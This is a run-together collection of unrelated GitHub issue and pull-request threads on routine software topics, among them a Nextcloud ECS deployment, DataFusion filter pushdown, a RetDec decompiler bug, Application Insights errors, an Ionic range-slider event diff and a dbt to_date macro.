It takes loads amount of time to spin up the container. This is an issue with the official docker image and how they initialize nextcloud. At the first run and on every upgrade they use rsync to copy over the application files to a persistent file storage (EFS in this case). Initially EFS has no IOPS provisioned and is therefore quite slow.
I will increase the Health check grace period on the ECS service configuration. Tested with 2500, that should be enough for now. See https://github.com/aws-samples/aws-serverless-nextcloud/blob/main/ecs-nextcloud.yml#L623
We are trying to get the nextcloud docker image in line with best practices, such as keeping it stateless. There is no reason to require a persistent volume for it. See https://github.com/nextcloud/docker/pull/1548

I will further push for improvement of the official docker image or provide an alternative docker image which follows container best practices.

@f7o - FWIW, I tried this again with multiple different NC images waiting 30+ mins between redeploys with the same problem. Happy to spin up again for the needs of debugging if needed. This was the exact same issue, the image was running, all metrics looked fine (including EFS).

Can you share logs from ECS tasks? Especially the initial task running when EFS and RDS is deployed the first time?
Which AWS Region did you deploy into?
I assume the cloudformation stack was created successfully, it is just the application never coming up, including health checks?
If, for what ever reason, the first container being started does not finish the initial installation routine and is being stopped and replaced with a new one, the whole installation is broken. One has to prune the EFS and remove all tables from the RDS database to get a clean installation.

Can you share logs from ECS tasks? Especially the initial task running when EFS and RDS is deployed the first time?
Which AWS Region did you deploy into? I assume the cloudformation stack was created successfully, it is just the application never coming up, including health checks?
If, for what ever reason, the first container being started does not finish the initial installation routine and is being stopped and replaced with a new one, the whole installation is broken. One has to prune the EFS and remove all tables from the RDS database to get a clean installation.
@f7o
Sorry for the delay -

Default region from quickstart (i.e. eu-west-1)
Stack (and nested stacks) all provision successfully

Defaults apart from usernames/pw's for the db and nc itself.
looks like it doesnt like a non default db name -

I deleted the stack and retried to default db names -
This seems to work so I geuss this is due to changing db names - should that be removed as an input?

okay, seems like you are right and non-default db name does not quite work. i will investigate further


Rolling Obstacles

Welcome to Rolling Obstacles! The objective of the game is to move the ball and collect the coins! But be careful, as you cannot move through the obstacles! Collect 15 coins to win the game!
Code
Check off the items that are true.

[x]  The game was made using the Sprig editor.
[x] The game is placed in the in the /games directory.
[x] The code is significantly different from all other games in the Sprig gallery (except for games labeled "demo").
[x] The game runs without errors.
[x] The name of the file/game contains only alphanumeric characters, -s, or _s.
[x] The game name is not the same as the others from gallery

Image (If an image is used)

[x] The image is in the /games/img directory.
[x] The name of the image matches the name of your file.

Yes, once the user collects 15 coins (more than 14), the user has won the game and the game is over.

Thanks!

do you have to be a teen? what if you are younger?

Np! You can upload Sprig games with whatever age!
But the Sprig console is only for underage (-18) people!
On Tue, 7 Feb 2023 at 03:48, Sonicx180 @.***> wrote:

do you have to be a teen? what if you are younger?
—
Reply to this email directly, view it on GitHub
https://github.com/hackclub/sprig/pull/770#issuecomment-1420118916, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AR2S6PXXQ7QACS6JKIQEJNLWWGZYZANCNFSM6AAAAAAUOUABSY
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>


Obsolete page?

I believe most if not all of the information in this article is now obsolete;

There is no longer the ability to 'Publish' an online store from the online stores form.
The E-Commerce functionality does not use the old SharePoint publishing functionality - even if the capability still exists in the background, this may be confusing to readers. If the doc remains, perhaps a note can be added stating the OOTB E-Commerce storefront does not use it
The link to 'Setup and Online store' goes to the AX 2012 docs pages
The components 'Commerce Data Exchange: Async Server' and 'Commerce Data Exchange: Real-time Service' no longer exist / names/branding has changed
Microsoft SharePoint 2013?

I had a customer this week start asking me questions and getting concerned their e-commerce implementation was running on SharePoint behind the scenes!!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: f0bad4f6-81db-e901-b788-0e6b7115573f
Version Independent ID: ec7729ea-d9bb-f4bc-1a36-a30d80372f1b
Content: Online store publishing architecture - Commerce | Dynamics 365
Content Source: articles/commerce/dev-itpro/retail-online-store-publishing-architecture.md
Service: dynamics-365-commerce
Product: ****
Technology: ****
GitHub Login: @RobinARH
Microsoft Alias: meeram

@andyNewnham , thank you for reporting this issue. I have passed it on for consideration.

BUG 586408 created to track this issue

@samjarawan can you help with this?

Thanks for the feedback, we removed the online store publishing content from the doc site because it's not applicable anymore.


DOCS-350 - Ensure that the Product List article is indexed

Purpose of this pull request
This pull request breaks the Product List article into two articles. This might enable the article's content to be indexed for Algolia searches, since the article should no longer be too big for indexing.
See https://help.sumologic.com/docs/integrations/product-list/
Select the type of change

[ ] Minor Changes - Typos, formatting, slight revisions
[x] Update Content - Revisions, updating sections
[ ] New Content - New features, sections, pages, tutorials
[ ] Site and Tools - .clabot, version updates, maintenance, dependencies, new packages for the site (Docusaurus, Gatsby, React, etc.)

Ticket (if applicable)
DOCS-350

@kimsauce, I re-ran the Algolia crawler, and it worked. All the terms in the product list articles now show up in searches.


Add Falcon programming language as available languages in readme file.

Hii @agnilondapakou .I would like to do this


Change configuration from ini to toml

Major update for metasyn 1.0.
Breaking/major changes (as far as I know):

In MetaFrame.from_dataframe(), spec becomes var_specs and changes from a dictionary to a list.
MetaFrame: A new from_config classmethod to create a datafree MetaFrame.
CLI interface is now feature complete using .toml files as input for the configuration.
CLI: For the create_meta method, the input and output parameters are now optional.
UniformDistribution has its parameters changed to low and high to conform with the discrete version.
MetaVar: The detect method is gone and you should now either use the fit method or the __init__ itself.
MetaVar:
Privacy: Privacy classes can and should now be dynamically loaded using entry points.
MetaConfig: A new configuration object that is used to parse and check toml/dictionaries.
VarConfig: A new variable configuration object.
VarConfigAccess: An accessor for the configuration object that takes into account defaults from the meta_config.
DistributionSpec: A new distribution configuration class that can parse and check configurations.
DistributionProviderList: A new create method to allow for datafree creation of distributions.
fit_kwargs is now in the DistributionSpec
unique is now in the DistributionSpec
Fixes #145

It is currently a bit messy in places (code duplication, etc), so this is for now more a showcase of what functionality can be implemented. Since TOML is a bit more user friendly, I figured that it could also be used to generate synthetic data from scratch, or add new columns that are not in the original dataset. It does need quite a bit of refactoring, before this PR can be merged though.

@Samuwhale Thanks for you comments and suggestions, I have applied them verbatim.

NB: for the changelog in the new version we should maybe rename this PR?

NB: for the changelog in the new version we should maybe rename this PR?

You mean to make clear that more was done than just the configuration file?

Yeah 👍


Better Error handling

just as the title says. i want to make error handling and possibly logging easier at the same time.
some references ive found already

https://stackoverflow.com/questions/36113101/handling-404-500-and-exceptions-in-node-js-and-express#36113222
https://expressjs.com/en/guide/error-handling.html

because its in another issue already ill be focusing on errors unrelated to the database

This might be done but i dont know how to test it. ill close this for now and if the server crashes in a way i believe this should have prevented ill reopen this

Internal server error handling works!


feat: cart

Cart related api, hooks, utils, context providers, swr config are copied. I don't recommend to review it.
I wrote UI components and basic flow.
https://github.com/user-attachments/assets/6882a980-e203-4ec5-add4-e20ec5b8f113

Do you plan to implement the cart page?
https://mikan36.wixstudio.io/reclaim/cart-page

Do you plan to implement the cart page? I think we should postpone it.

Agree to postopone. Added it to our optional list.

@alisey I leave cart API and hooks as they are for now. Hopefully I'll get a chance to improve it later.
Moving on to the "Thank you" page.


♻ ERC20 fixes and optimizations

Description

Added note on usage of ecrecover precompile 0x1.
Make DOMAIN_SEPARATOR actually memory safe. Currently, it won't cause issues, but just in case a future version of the compiler breaks it.
Optimize permit.
Remove increaseAllowance and decreaseAllowance.

Checklist
Ensure you completed all of the steps below before submitting your pull request:

[x] Ran forge fmt?
[x] Ran forge snapshot?
[x] Ran forge test?

Pull requests with an incomplete checklist will be thrown out.

LGTM 🎊


First cut at logs bicep doc updates

Updated the Azure.KeyVault.Logs.md with Bicep that mimics the ARM code in it.
Tried to do the same with Azure.FrontDoor.Logs.md, but ran into lots of issues. There was no ARM example code, so I created an template and deployed a simple Front Door. Tried to add the logging for FrontdoorAccessLog and FrontdoorWebApplicationFirewallLog settings to the ARM and Bicep, but I can't find the syntax to automate that setting. All the docs I've found just explain how to set it manually. Spent way too much time today searching for this answer...!
Is this one of those where there just isn't an ARM setting yet, so the docs should just say to do it manually...?  Any idea? or who would know where else to look...?

@lluppesms Looks like this is a duplicate of #1678. Should be close this PR?

Draft changes, replaced by #1678


reimplement push_down_filter to remove global-state

Which issue does this PR close?
Close #4266
Part of #4267
Rationale for this change

What changes are included in this PR?

Are these changes tested?

Are there any user-facing changes?

The rule re-implementation of this rule was complex and now is completed.
Now all that remains is an equally complex ProjectionPushDown.
In fact, current ProjectionPushDown is a little wrong, it mix pushdown and column-prune, and it just prune bottom plannode ( tablescan ).

I need to set aside time to review this PR carefully given how important FilterPushdown is  -- I will try and find some in the upcoming week.

This week I have some time and I can take a closer look at this PR carefully.

@ayushdg @sarahyurick It would be good to test the impact of this change in Dask SQL to make sure it doesn't cause any regressions for us.

Looks good on my end - I'm seeing a performance improvement with the changes in this PR over DF 14.0.0

It seems that with the LogicalPlan structs, it is not that convenient to write pattern-matching and destructuring code, because of the Arc.
match plan {
  LogicalPlan::Filter(Filter{predicate, LogicalPlan::Sort(sort)}) => {
  }
  LogicalPlan::Filter(Filter{predicate, LogicalPlan::Projection(proj)}) =>{
  }
  LogicalPlan::Filter(Filter{predicate, LogicalPlan::Aggregate(agg)}) =>{
  }
}

Why we use Arc to wrap all the inputs? Is it because of nested types and Rust does not support nested struct, must wrap the nested structs with Box or Arc ?

I plan to test this PR against the IOx test suite later today

Some part of the Filter can also be pushed down through theLogicalPlan::WIndow if the filter exprs are part of the partition by keys of the WIndow. The logic should be similar to LogicalPlan::Aggregate group by keys.

regression is fixed in #4384

I plan to review the code and test failure in this PR later today

@mingmwang look like alias can't be in groupby.
sql 1999
<group by clause> Function
Specify a grouped table derived by the application of the <group by clause> to the result of the previously specified clause.
Format
<group by clause> ::=
       GROUP BY <grouping specification>
<grouping specification> ::=
         <grouping column reference>
       | <rollup list>
       | <cube list>
       | <grouping sets list>
       | <grand total>
       | <concatenated grouping>

pg:
-- create
CREATE TABLE EMPLOYEE (
  a INTEGER PRIMARY KEY,
  b INTEGER,
  c INTEGER
);

-- insert
INSERT INTO EMPLOYEE VALUES (0001, 0001, 0001);
INSERT INTO EMPLOYEE VALUES (0002, 0002, 0002);

-- fetch
SELECT sum(b) FROM EMPLOYEE group by as c;

ERROR:  syntax error at or near "as"

@mingmwang look like alias can't be in groupby.
sql 1999
<group by clause> Function
Specify a grouped table derived by the application of the <group by clause> to the result of the previously specified clause.
Format
<group by clause> ::=
       GROUP BY <grouping specification>
<grouping specification> ::=
         <grouping column reference>
       | <rollup list>
       | <cube list>
       | <grouping sets list>
       | <grand total>
       | <concatenated grouping>

pg:
-- create
CREATE TABLE EMPLOYEE (
  a INTEGER PRIMARY KEY,
  b INTEGER,
  c INTEGER
);

-- insert
INSERT INTO EMPLOYEE VALUES (0001, 0001, 0001);
INSERT INTO EMPLOYEE VALUES (0002, 0002, 0002);

-- fetch
SELECT sum(b) FROM EMPLOYEE group by a as hh;

ERROR:  syntax error at or near "as"

You can try this:
select (a + b) as c, count(*) from Table_A group by 1

You can try this: select (a + b) as c, count(*) from Table_A group by 1

#[test]
fn push_down_filter_groupby_expr_contains_alias() {
    let sql = "SELECT (col_int32 + col_uint32) AS c, count(*) from test group by 1";
    let plan = test_sql(sql).unwrap();
    let expected = "Projection: test.col_int32 + test.col_uint32 AS c, COUNT(UInt8(1))\
    \n  Aggregate: groupBy=[[test.col_int32 + CAST(test.col_uint32 AS Int32)]], aggr=[[COUNT(UInt8(1))]]\
    \n    TableScan: test projection=[col_int32, col_uint32]";
    assert_eq!(expected, format!("{:?}", plan));
}

current implementation will put alias into projection expr

You can try this: select (a + b) as c, count(*) from Table_A group by 1

#[test]
fn push_down_filter_groupby_expr_contains_alias() {
    let sql = "SELECT (col_int32 + col_uint32) AS c, count(*) from test group by 1";
    let plan = test_sql(sql).unwrap();
    let expected = "Projection: test.col_int32 + test.col_uint32 AS c, COUNT(UInt8(1))\
    \n  Aggregate: groupBy=[[test.col_int32 + CAST(test.col_uint32 AS Int32)]], aggr=[[COUNT(UInt8(1))]]\
    \n    TableScan: test projection=[col_int32, col_uint32]";
    assert_eq!(expected, format!("{:?}", plan));
}

current implementation will put alias into projection expr
run in integration test. exist bug #4430, run it need to remove bug rule.
#[test]
#[ignore]
// TODO: UnwrapCastInComparison exist bug.
fn push_down_filter_groupby_expr_contains_alias() {
    let sql = "SELECT * FROM (SELECT (col_int32 + col_uint32) AS c, count(*) FROM test GROUP BY 1) where c > 3";
    let plan = test_sql(sql).unwrap();
    let expected = "Projection: c, COUNT(UInt8(1))\
    \n  Projection: test.col_int32 + test.col_uint32 AS c, COUNT(UInt8(1))\
    \n    Aggregate: groupBy=[[test.col_int32 + CAST(test.col_uint32 AS Int32)]], aggr=[[COUNT(UInt8(1))]]\
    \n      Filter: CAST(test.col_int32 + test.col_uint32 AS Int64) > Int64(3)\
    \n        TableScan: test projection=[col_int32, col_uint32]";
    assert_eq!(expected, format!("{:?}", plan));
}

Ok, got it.

Could you please also modify the UT optimize_plan() method and let the rule run twice and see what will happen ?
    fn optimize_plan(plan: &LogicalPlan) -> LogicalPlan {
        let rule = FilterPushDown::new();
        rule.optimize(plan, &mut OptimizerConfig::new())
            .expect("failed to optimize plan")
    }

I think some of the logic in the rule like 'extract_or_clauses_for_join()' a reasonable optimization, but if the optimizer rules  were applied more than once that duplicate Filters might be generated.

Before this PR,  there is a global state which can help to avoid duplicate Filters been generated and pushed down.
Now the global state is removed. Need to double conform the behavior is unchanged.

Has added it in UT.

Except for the LogicalPlan::Window, the others LGTM.

All followup enhancement in #4433

I think this PR has been outstanding enough and has had enough feedback and testing. Let's plan on completing the follow on work as other PRs. Thank you so much @jackwener and @mingmwang  for your careful reviews and @sarahyurick  for your testing


[bin2llvmir] AARCH64 C++ Class constructor generates @__decompiler_undefined_function_0

when running a retdec-decompiler.py --no-memory-limit --backend-no-opts on a ELF binary built for AARCH64/FreeBSD, I get several @__decompiler_undefined_function_0 being injected at the beginning of class functions
File format              : ELF
File class               : 64-bit
File type                : DLL
Architecture             : ARM AARCH64
Endianness               : Little endian
Entry point address      : 0
Entry point offset       : 0x788
Entry point section name : .text
Entry point section index: 1
Bytes on entry point     :<PHONE_NUMBER>0000004d4f443030bdc600f85fc70038d2311178e8a90054b9ad00f85fc700f30f1ef8fd7b01a9fd430091ffc3
Detected tool            : gc (compiler), 33 from 191 significant nibbles (17.2775%)

Here is a disassembled C++ class constructor :
movn x8, #0xffff, lsl #16
movk x8, #0x5c0
stp x8, xzr, [x0]
str wzr, [x0, #0x10]
ret

That seems to perform some variable initializations, x0 is supposed to be the object location, hence the stores relative to it.
But on the LLVM IR I get :
  %0 = call i64 @__decompiler_undefined_function_0()
  %1 = inttoptr i64 %0 to i64*, !insn.addr !482175
  store i64 -4294965824, i64* %1, align 8, !insn.addr !482175
  %2 = add i64 %0, 8, !insn.addr !482175
  %3 = inttoptr i64 %2 to i64*, !insn.addr !482175
  store i64 0, i64* %3, align 8, !insn.addr !482175
  %4 = add i64 %0, 16, !insn.addr !482176
  %5 = inttoptr i64 %4 to i32*, !insn.addr !482176
  store i32 0, i32* %5, align 4, !insn.addr !482176
  ret i64 %0, !insn.addr !482177

Which get transformed in C :
    int64_t result; // 0x48465c
    // 0x48465c
    *(int64_t *)result = -0xfffffa40;
    *(int64_t *)(result + 8) = 0;
    *(int32_t *)(result + 16) = 0;
    return result;

It seems to me retdec can't detect the reference to the object and uses absolute offsets instead. I'm quite new to the project, so I'm not sure where to start (and I could have missed something in the setup 😉 )
What do you reckon ?

Similar to #750.
__decompiler_undefined_function_<N> will be properly removed when I merge a branch I'm working on.
As for the other stuff. Are these functions the only problem, or do you think there is some discrepancy between produced C and the orginal ASM? If so, can you provide an input binary so I can have a closer look?

Actually I don't believe the problem lies in llvmir2hll but more in bin2llvmir, but you're right there seems to be more than one issue.
Here is a reproduction on a simpler binary : undefined_function.zip
From source code
class A {
public:
    int _a1;
    int _a2;
    A() __attribute__ ((noinline)) {
        _a1=1;
        _a2=2;
    };
    int get() __attribute__ ((noinline)) {
        return _a1;
    }
};

int main() {
    A a;
    return a.get();
}

clang++  -g -fPIE -fexceptions -fuse-ld=lld -O3 -mtune=cortex-a53 -target aarch64-none-linux-gnu -nostdlib -nostdlibinc -Wno-unused-command-line-argument -std=c++17 -nodefaultlibs -nostdinc++ -o undefined_function undefined_function.cpp
If you look at A::get lifted IR, you'll see that's it's not accurate. By playing around with bin2llvmir parameters I could get it to work by deactivating the following options :

-value-protect, was introducing undefined_functions
-inst-opt-rda, was removing function parameters
-constants, was skipping a load


Feature/object servicegroup 12383

implement feature https://dev.icinga.org/issues/12383

Merged, thanks 👍


Update ADC related code

Calibrated reading of ADC values  is currently implemented using madhephaestus/ESP32AnalogRead, which fails to compile with espressif/arduino-esp32 >= v3.0.0 (see https://github.com/madhephaestus/ESP32AnalogRead/issues/13).
Instead, analogReadMilliVolts() shall be used.

Already implemented in https://github.com/matthias-bs/BresserWeatherSensorTTN/releases/tag/v0.13.0


New project created with jest and typescript fails to run unit tests

Version
3.0.3
Reproduction link
https://github.com/phil-scott-78/vue-cli-jest-bug
Node and OS info
Node v8.11.2, npm 5.6, Windows 10
Steps to reproduce

vue create project
manual options
choose at least typescript and unit testing
class style component
no babel
jest for unit testing
either config

then
npm run test:unit
What is expected?
successful unit test run
What is actually happening?
receive this error
    Cannot find module 'vue-property-decorator' from 'HelloWorld.vue'

      32 |
      33 | <script lang="ts">
    > 34 | import { Component, Prop, Vue } from 'vue-property-decorator';
         | ^
      35 |
      36 | @Component
      37 | export default class HelloWorld extends Vue {

      at Resolver.resolveModule (node_modules/jest-resolve/build/index.js:221:17)
      at src/components/HelloWorld.vue:34:1
      at Object.<anonymous> (src/components/HelloWorld.vue:27:3)

Things work fine if you aren't using typescript, so I suspect ts-jest is at fault. But to be honest this is my first steps into using jest with typescript so I'm a bit in over my head with troubleshooting.

I get the same error on Ubuntu 18.04, so it's not platform-specific.


__Empty error after 2.1.2 upgrade

After upgrade applicationinsights package from 1.8.10 to 2.1.2, in Azure Failures page there are many and many errors __Empty

My service have 448K calls, the true errors are 268 but i see 404K __Empty error. When click the count link the result is No available results

My configuration is very simple:
appInsights.setup();
appInsights.defaultClient.context.tags[
    appInsights.defaultClient.context.keys.cloudRole
] = 'BeWrite';
appInsights.start();

Sorry for my poor english and thanks for helps
Best regards, Filippo
Edit:
With 1.8.10 and 2.0.0 package i haven't __Empty errors. With 2.1.1 and 2.1.2 the errors appears. I haven't try with 2.1.0 package

@scare82 this is definitely unexpected, are you also seeing an increase in Exceptions?, is your server actually returning the empty responses now or is the issue regarding wrong telemetry?

@hectorhdzg . No, the "true" exceptions are approximately the same that i expect. I don't think my service returns empty responses (no reporting in 2 years). As you can see in picture with the 2.0 applicationinsights the __Empty error dissapears. Same code, only downgrade applicationinsights version (downgrade at 17:00).

You can see changes between 1.8.10 and 2.1.2 in here, biggest change is regarding node.js supported version, and only change that could affect automatic tracking of requests is #767, if you can provide some repro environment or steps we can investigate further in our side.

We're experiencing this too in a new Appinsights environment containing two node projects (one express frontend, one express API). We have come directly in with version 2.1.2 for the setup of these.
As best as I can see, the errors are potentially occurring alongside actually successful requests to the frontend (in that there is an error % recorded against that component in the application map). Could be wrong about that though.
I've upgraded some other APIs in different Appinsights environments powered by express from 1.8.x to 2.x (haven't tried this in any frontends yet) and haven't had this issue.
We're currently on Windows server with node 12.x
Can be more specific about versions if necessary, mainly wanting to flag that it doesn't seem to be just scare82 having the issue...


define use cases for international use

speakerinnen's perspective
organizer's perspective
admin's perspective
developer's perspective

As a speaker …
… I want to use the site in a language I understand.
… I want to edit my profile in a userfriendly way.
As a speaker with one language …
… I don’t want to be confronted with other languages.
As a speaker with multiple languages …
… I want to present myself in the different languages I am willing to present.
As an event organizer …
… I want to use the site in a language I understand.
… I want to search speakers corresponding to my topics of interest.
… I want to search the profiles of speakers that speak the language of my conference.
… I want to browse the available speakers and topics in the language of my conference.
As an admin …
… in the process of publishing profiles I only want to see the unpublished profiles that are filled out in the languages I understand.
… in the process of assigning tags to categories I only want to see the unassigned tags that are in the languages I understand.
… in the process of communicating with speakers I only want to get the emails written in the languages I understand.
As a developer …
… I want to have an easy to manage solution for handling multiple languages.
… I want to have fallbacks if not every translation is available before launching a new feature.

done, but should stay open for overview


Fix Readme and disable MSVC-CUDA 10.2

Update to the new package status. Simplify the HIP-related INSTALL.md section.
Disable the MSVC-CUDA 10.2 job.

There is an issue with the CUDA implementation which prevents a proper
execution. See pytorch/pytorch#25393. Tweaking
the compiler settings would allow getting fewer errors, but it seems
impossible to prevent the errors altogether.
Is there anything else that should be updated?

the msvc cuda issue maybe also ref this one? https://github.com/NVIDIA/thrust/issues/1090
many issue also link to it

rebase!


Use appdirs

~/.foorc clutters the home folder, use the standard spec for storing app specific data with https://pypi.python.org/pypi/appdirs

nice call :+1:


Update client to use the new hideFrom property.

the possible values (so far) are 'everywhere', 'downloads' and 'variableTree'

@steve-fischer-200 Something that's come up in my PR for this work:
Can hideFrom be given to "non-leaf" variables? If so, what is the intended behavior? In my current implementation, if a "non-leaf" variable has a hideFrom property, then that variable and all its descendants will be hidden.

Testing ideas:

For Amazonia ICEMR Brazil Cohort, the Settlement variable has hideFrom: ["variableTree"], so it should appear in the "view and download" modal, but not in the variable trees for the subsetting and visualization tabs
For GEMS 1A Case Control, the Participant ID for matched case variable has "hideFrom":["everywhere"], so it should appear neither in "view and download" modal, nor in the variable trees for the subsetting and visualization tabs.

Found a bug.
In PRISM2 border cohort, "Birth date" is supposed to be hidden everywhere. If you search for it as a variable, you can't find it, and if you try to download data, you can't add it as a variable to the file.
However, if you click on the "Participant" entity in the entity diagram, it takes you to the "Birth date" histogram, presumably because this would be the first variable in the Participant entity if it weren't hidden everywhere.

Good catch, @SheenaTomko! I investigated, and found that this bug also occurs if the variables are hidden in the "old" way (based on whether displayType is hidden), and under the same circumstances.
(Clicking on "Participants" in "PRISM2 Border Cohort" also redirect to "Birth date," even though it has displayType: "hidden".)
I'll open (and likely self-assign) an issue describing the deeper bug and what the fix is.

Jamie to open a new ticket specific for the bug, so closing this


Quantize doesn't reduce the GPU memory usage

System Info
Latest docker
Information

[X] Docker
[ ] The CLI directly

Tasks

[ ] An officially supported command
[ ] My own modifications

Reproduction
It used 60G GPU memory on my A100 server to run a model without quantize.  Adding quantize doesn't help reduce the memory.
Expected behavior
Memory can go down.

Are you loading a quantized version of the same model?

@mapa17 I don't think it is a quantized version. But text-generation-webui can dramatically reduce the VRAM for same model when I enable the quantization.

It's because we allocate the rest of the GPU VRAM for the KV cache. TGI will always use all available memory as this dramatically improves throughput. If you want to limit the amount of memory taken by TGI, you can use --cuda-memory-fraction 0.5 for example (50%).

Thanks for the answer, can you please explain a bit more your comment? For example, what does KV cache means?
Thank you

what does KV cache means

This refers to the amount memory that the inference uses for your history and context. By default, it prefers to use the maximum supported by the model or that is available to the system.
So even with a Quant model, the inference engine will use the extra memory to optimize for better context handling.


ion-range (end/release) event

Hello,
I was wondering if you were considering adding an end/release output event to your ion-range directive in order to trigger the end of the interaction with the range ?
I think it could be useful !
Thank you in advance

That would be very useful!
At the moment I'm relying on custom debounce code (for an audio player seekbar), which is not optimal, but better than nothing.

I also have custom debounce for the range slider but I believe that debounce is actually implemented as an option now, just haven't gone back over it yet.

@ghenry22 You are right about debounce is implemented as an option.
I'm using custom debounce code because I wanted to disable updates to the slider (from external events, in this case audio player time updates) while dragging the knob. ionDragStart and ionDragRelease output events would be very useful.

Something like this should do it:
diff --git a/src/components/range/range.ts b/src/components/range/range.ts
index 0b013ec..00c21e2 100644
--- a/src/components/range/range.ts
+++ b/src/components/range/range.ts
@@ -341,6 +341,8 @@ export class Range extends Ion implements AfterViewInit, ControlValueAccessor, O
    */
   @Output() ionChange: EventEmitter<Range> = new EventEmitter<Range>();

+  @Output() ionDragStart: EventEmitter<Range> = new EventEmitter<Range>();
+  @Output() ionDragEnd: EventEmitter<Range> = new EventEmitter<Range>();

   constructor(
     private _form: Form,
@@ -431,6 +433,8 @@ export class Range extends Ion implements AfterViewInit, ControlValueAccessor, O
     // figure out which knob we're interacting with
     this.setActiveKnob(this._start, rect);

+    this.ionDragStart.emit(this);
+
     // update the ratio for the active knob
     this.updateKnob(this._start, rect);

@@ -471,6 +475,8 @@ export class Range extends Ion implements AfterViewInit, ControlValueAccessor, O
     ev.preventDefault();
     ev.stopPropagation();

+    this.ionDragEnd.emit(this);
+
     // update the ratio for the active knob
     this.updateKnob(pointerCoord(ev), this._rect);

Since ionic is in feature freeze, this probably won't be added for a while. If anyone needs a workaround now, you can do the following:
export class PlayerSeekbarComponent implements OnInit {

	// Grab a reference to range (add #range to html tag)
	@ViewChild('range') public range: Range;

	public ngOnInit(): void {
		const originalPointerDown = this.range.pointerDown;
		this.range.pointerDown = (ev: UIEvent): boolean => {
			const result = originalPointerDown.call(this.range, ev);
			if (!result) {
				return result;
			}
			console.log('DRAG START');
			return result;
		}

		const originalPointerUp = this.range.pointerUp;
		this.range.pointerUp = (ev: UIEvent): void => {
			originalPointerUp.call(this.range, ev);
			console.log('DRAG END');
		}
	}

...

Hi biesbjerg !
That is exactly what I did with my local version. Would you like me to create a pull request or are you doing it.
Regards

@biesbjerg you are right! we are feature frozen until final release. We are focusing in getting what we have right, UX issues, important bug fixes and performance.
But please, feel free to submit a PR. I like the idea a lot!

Hello everyone! Thanks for the feature request. I'm going to move this issue over to our internal list of feature requests for evaluation. We are continually prioritizing all requests that we receive with outstanding issues. We are extremely grateful for your feedback, but it may not always be our next priority. I'll copy the issue back to this repository when we have begun implementation. Thanks!

This issue was moved to driftyco/ionic-feature-requests#176

Hi Justin,
The feature request link isn't working for me.
I'm having a problem with ionic beta 3 firing ionChange events for all my ion-range components when I use tab navigation. Adding an end/release event would probably fix that.
Thanks!
@jgw96

@jgoux the link you said this was moved to is a 404?


[CT-3208] [Feature] Cross-database to_date macro

Is this your first time submitting a feature request?

[X] I have read the expectations for open source contributors
[X] I have searched the existing issues, and I could not find an existing issue for this feature
[X] I am requesting a straightforward extension of existing dbt functionality, rather than a Big Idea better suited to a discussion

Describe the feature
To support a built-in metricflow_time_spine in https://github.com/dbt-labs/dbt-core/issues/8825, we want to create a to_date macro that converts an ISO 8601-formatted date string into a SQL DATE type.
Rationale for the name to_date
Even though to_date isn't within the SQL standard, databricks, postgres, redshift, and snowflake all have a to_date function that does what we want. Although bigquery is an outlier, nothing we can't solve with a little dispatch magic ✨
Prototype of to_date()
Assuming to_date() is a cross-database macro that takes an ISO 8601 (YYYY-MM-DD) date string as input, here's a completely untested prototype for dbt-postgres:
{% macro to_date(date_str) %}
  {{ return(adapter.dispatch('to_date', 'dbt') (date_str)) }}
{% endmacro %}

{% macro default__to_date(date_str) -%}
    to_date({{ dbt.string_literal(date_str) }})
{%- endmacro %}

Pulling it all together for metricflow_time_spine
The cross-database Jinja template might look like this:
select cast(date_day as date) as date_day
from ({{ dbt.date_spine("day", dbt.to_date("2023-09-01"), dbt.to_date("2023-09-10")) }})

Appendix
Validation and error checking
If we want, we could always add some format validation to the default implementation of to_date() by using the datetime module:
    {%- set dt = modules.datetime.datetime.strptime(date_str, "%Y-%m-%d") -%}
    ...

dbt-bigquery
The implementation for Bigquery may or may not be simple 🤷  If all else fails, something like this might work (completely untested!):
{% macro bigquery__to_date(date_str) -%}
    {%- set dt = modules.datetime.datetime.strptime(date_str, "%Y-%m-%d") -%}
    date({{ dt.year }}, {{ dt.month }}, {{ dt.day }})
{%- endmacro %}

type_date macro
We may (or may not) want to also create a cross-database type_date macro (which doesn't exist today). I haven't seen any database that doesn't call this data type DATE, so that makes it either easy-peasy or extraneous depending how you look at it.
Describe alternatives you've considered
I can't think of a good alternative to creating a cross-database macro that converts a SQL string into a SQL date.
Who will this benefit?
This supports a built-in metricflow_time_spine in https://github.com/dbt-labs/dbt-core/issues/8825, we want a to_date macro that converts an ISO 8601-formatted date string into a SQL DATE type.
Are you interested in contributing this feature?
No response
Anything else?
For refinement
Theoretically, we could choose to add an optional 2nd parameter that specifies the format to use. e.g. something like mm/dd/yyyy.
There are two options for the supported formats for that parameter:

Python datetime format codes
SQL-native format specifications

If we add this 2nd parameter, I would advocate for using the Python format codes since they would give us solid ground to stand on. Then from there, we could convert the resulting datetime using the format specifications that are specific to each adapter as-needed.
I suspect that we could be in a world of hurt if we choose to use SQL-native format specifications instead, because they may differ on a per-adapter basis. I don't know this for sure, just a suspicion.

FWIW, I had a lot of problems with dates and timestamps(and the lack of :: for casting in general) trying to make cross-dialect compatible code for Redshift and SQL Server. I ended up making this macro:
{%- macro   cross_cast(field_name, data_type) -%}
    {%- if field_name == 'getdate()' -%}
        {{ field_name }}
    {%- elif field_name == 'current_current' -%}
        {{ get_non_string_variable('current_timestamp') }}
    {%- elif data_type in ('datetime', 'timestamp') -%} cast({{ field_name }} as
        {%- if env_var('DBT_HOSTING') == 'dbt_cloud' %} timestamp{% elif env_var('DBT_HOSTING') == 'local' %} datetime{% else %} timestamp{%- endif -%}
        )
    {%- else -%} cast({{ field_name }} as {{ data_type }})
    {%- endif -%}
{%- endmacro -%}

Examples passed in:

{{ cross_cast('null', 'date') }}
{{ cross_cast('null', 'timestamp') }}
{{ cross_cast('"START__1"', 'date') }}
{{ cross_cast('LIMIT', 'double precision') }}

dbt_cloud == redshift. local == SQL Server. I never cleaned it up to be PR ready, but it does work for these 2 dialects. Again, only FWIW, which could be 0.
cc: @dataders and @schlich

Inspiration -> https://github.com/calogica/dbt-date?tab=readme-ov-file#dateyear-month-day

After discussion with @graciegoheen and @Jstein77, we'd like to enable usage like this (with 3 parameters):
{{ dbt.to_date(2023, 10, 4) }}

Putting it all together:
select cast(date_day as date) as date_day
from ({{ dbt.date_spine("day", dbt.to_date(2023, 5, 11), dbt.to_date(2023, 9, 17)) }})

We might be able to just re-use the definition of the date macro from dbt_date and rename it to to_date.

